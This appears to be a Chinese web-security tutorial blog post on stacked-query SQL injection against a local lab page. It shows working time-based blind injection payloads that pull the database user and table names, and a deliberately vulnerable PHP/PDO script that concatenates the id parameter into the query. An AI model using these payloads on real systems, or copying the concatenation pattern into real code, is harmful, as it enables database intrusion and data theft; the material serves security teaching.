Web安全原理剖析(六)——堆疊查詢注入攻擊


2.3 堆疊查詢注入攻擊

??堆疊查詢注入攻擊的測試地址:http://127.0.0.1/sqli/duidie.php?id=1。

??堆疊查詢可以執(zhí)行多條語句,多語句之間以分好隔開。堆疊查詢注入就是利用這個特點,在第二個SQL語句中構造自己要執(zhí)行的語句。首先訪問id=1',頁面返回MySQL錯誤,在訪問id=1'--+,頁面返回正常的結果。這里可以使用Boolean注入、時間注入,也可以使用另一種注入方式——堆疊注入。

??堆疊注入的語句為:

';select if(substr(user(),1,1)='r',sleep(3),1)--+

??從堆疊注入語句中可以看到,第二條SQL語句就是時間盲注的語句,執(zhí)行結果如圖37所示。

圖38 利用堆疊注入獲取數(shù)據(jù)

??后面獲取數(shù)據(jù)的操作與時間盲注的一樣,通過構造不同的時間注入語句,可以得到完整的數(shù)據(jù)庫的庫名、表名、字段名和具體數(shù)據(jù)。執(zhí)行以下語句,就可以獲取數(shù)據(jù)庫的表名。

';select if(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='e',sleep(3),1)--+

??結果如圖38所示。

圖39 利用堆疊注入獲取表名

2.4 堆疊準入代碼分析

??在堆疊注入頁面中,程序獲取GET參數(shù)ID,使用PDO的方式進行數(shù)據(jù)查詢,但仍然將參數(shù)ID拼接到查詢語句,導致PDO沒起到預編譯的效果,程序仍然存在SQL注入漏洞,代碼如下所示。

<?php header('Content-type:text/html;charset=utf-8');
try
{
    $conn = new PDO("mysql:host=localhost;dbname=test", "root", "root");//連接數(shù)據(jù)庫,初始化一個pdo對象
    $conn->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);//設置一個屬性

    $id = @$_GET['id'];
    $sql = "select * from users where `id`='".$id."'";

    echo "<hr />";
    echo "當前執(zhí)行語句為:".$sql;
    echo "<hr />";

    $stmt = $conn->query($sql);

    $result = $stmt->setFetchMode(PDO::FETCH_ASSOC);
    foreach($stmt->fetchAll() as $k=>$v)
    {
        foreach ($v as $key => $value)
        {
            echo $value;
        }
    }
    $dsn = null;
}
catch(PDOException $e)
{
    echo "error";
}
$conn = null;
?>

??使用PDO執(zhí)行SQL語句時,可以執(zhí)行多語句,不過這樣通常不能直接得到注入結果,因為PDO只會返回第一條SQL語句執(zhí)行的結果,所以在第二條語句中可以用Update更新數(shù)據(jù)或者使用時間盲注獲取數(shù)據(jù)。訪問dd.php?id=1';select if(ord(substring(user(),1,1))=114,sleep(3),1);%23時,執(zhí)行的SQL語句為:

select * from users where `id`='1';select if(ord(substring(user(),1,1))=114,sleep(3),1);#

??此時SQL語句分為另外兩條,第一條select * from users where `id`='1'是代碼自己的select查詢,而select if(ord(substring(user(),1,1))=114,sleep(3),1);#則是我們構造的時間盲注語句。


最后編輯于
?著作權歸作者所有,轉載或內容合作請聯(lián)系作者
【社區(qū)內容提示】社區(qū)部分內容疑似由AI輔助生成,瀏覽時請結合常識與多方信息審慎甄別。
平臺聲明:文章內容(如有圖片或視頻亦包括在內)由作者上傳并發(fā)布,文章內容僅代表作者本人觀點,簡書系信息發(fā)布平臺,僅提供信息存儲服務。

相關閱讀更多精彩內容

  • 二次注入 最近在看到《Web安全攻防 滲透測試實戰(zhàn)指南》說了關于二次注入的問題,以前就聽過二次注入,但是沒有深入了...
    seeiy閱讀 2,400評論 0 0
  • 特別聲明:該文章只運用于學習安全測試交流之用,請勿用于其他 堆疊注入。從名詞的含義就可以看到應該是一堆sql語句(...
    夜盡雪舞閱讀 1,333評論 0 0
  • SQL注入之堆疊注入 之前一直以為堆疊注入不適合mysql數(shù)據(jù)庫,實戰(zhàn)中也沒有嘗試過堆疊注入,今天看書《web安全...
    草莓養(yǎng)殖戶閱讀 792評論 0 1
  • 第三十八關 堆疊注入,單引號閉合。可以用聯(lián)合查詢注入, 但是題目是堆疊注入所以用堆疊。向users表中插入一條用戶...
    z1掛東南閱讀 1,153評論 0 0
  • 堆疊注入 - 定義 堆疊注入(Stacked Injections)一堆SQL語句(多條)一起執(zhí)行在MySQL中。...
    搬碼人閱讀 687評論 0 2

友情鏈接更多精彩內容